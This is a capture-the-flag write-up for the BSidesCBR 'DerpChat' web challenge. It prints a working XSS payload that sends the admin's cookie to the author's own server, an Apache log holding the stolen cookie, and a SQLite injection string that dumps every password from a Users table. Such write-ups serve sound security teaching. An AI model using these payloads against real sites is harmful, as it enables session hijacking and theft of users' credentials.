Following my serie of write-ups for the BSidesCBR challs, I will discuss the DerpChat one.
The instructions for this challenge were:
This web-based challenge was worth 275 points.
Run docker-compose up and then browse to
After browsing to
https://web.shell.dance:4443/, I arrived on a registration/login page. I registered the account test/test and I finally got a page with two inputs: – One too search some messages I suppose – And one in the middle of the page stating: “Hello, could you please send me the link I was after?”.
Moreover, a link to some kind of administration interface was forbidden (since I were simple user) and I guessed that the flag was landing there.
After a bit of experiments, I realized that: by sending a link to the second input, a simulated user (using PhantomJS) was browsing to the link we submitted. Now comes the fun part. Since I controlled the link the user was browsing to, I only had to chain this with an other vulnerability to (for example) steal the user cookie?
Bingo, it turns out the first form is vulnerable to Cross-Site Scripting. So the scenario I now had in mind was:
Create a HTML file that exploits the XSS and sends me back the admin’s cookie. Host it locally (my local IP was: 10.0.0.1) And finally send it through the DerpChat functionality ??? Continue the CTF :) The exploit was basically this one – just triggering a simple form to exploit the XSS and send back the cookie to my Apache server.
<form action="https://web.shell.dance:4443/chat" method="POST" id="bla"> <input name="search" value="<script>document.location='http://10.0.0.1/cookie?cookie='+document.cookie</script>"> </form> <script>document.getElementById("bla").submit()</script>
10.0.0.53 - - [16/Apr/2017:22:40:02 +0100] "GET /payload.html HTTP/1.1" 200 540 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) CasperJS/1.1.0-beta3+PhantomJS/1.9.8 Safari/534.34" 10.0.0.53 - - [16/Apr/2017:22:40:02 +0100] "GET /cookie?cookie=DerpChat=FYrffsUmaavnBjWHMXGaFGALwtHVUsUmGuRnFgOLGUMBJoGCdMFpdifTiPObbOyAlBfNFsntkjyNxjWxspjQpBxnpzmWYkkErtuwLtZVjSbMUBwaWbRnQcKsKIQZPVmcwKUIUMpfYDwTfbRFfiCYcrEcdSWMKQjMVSqkKonwXBhCuzDtBZnHjMOtZmJedUzxrhgKusjmOLZlSbeHyNrSNaZVktZOBNroEbHBLQGCMmwGdAHPjLFUgOGlOUaBIthfqgIrpWnUuVJiQqxgeAplCNzDvVbTOsZfdcanPiehcKaWjXooJecnNAAVFSQLHenaNmdXSxsfGxCXiZREjLIdWacPnqDQbGeufRtgVoAsfQiUfLiHghsSfuNuennPhEPKsWkkHVgaTcxSdCSYTwtprLBLULVHgfqpHHKRmFqrDqsVIjPcZUiyWfmtJtmjHFunknPTCqIzEYomxhzpIQjLzLHUXsMyUPuNaOJwgtGbxOeTPjddVQgHYllKbOdyKSCb HTTP/1.1" 404 498 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) CasperJS/1.1.0-beta3+PhantomJS/1.9.8 Safari/534.34"
After grabbing the admin’s cookie, I just replaced it in my current browser’s session and managed to get access to the admin interface.
There, I finally got access to the administration interface (yay!) and the functionality was some kind of ‘User Management’ utility. I got the point (based on the error messages) that there was a SQL injection and the DBMS was SQLite. Morever, during the recon, I managed to retrieve the name of a table: Users (important point).
In case you encounter SQLite in the back-end, I definitely recommend this Cheat Sheet.
Thanks to OJ that I pinged on Twitter and his “hindsight”, I finally got the SQLi working, dumping out the flag by concatenating all the user’s passwords:
' || (select group_concat(Password) from Users) || '
This gave us the following output:
Bingo, we got the flag! This chall was really interesting, and chaining Client-side vulnerabilities (Cross-Site Scripting, CSRF) and finally SQLi to grab the flag was fun.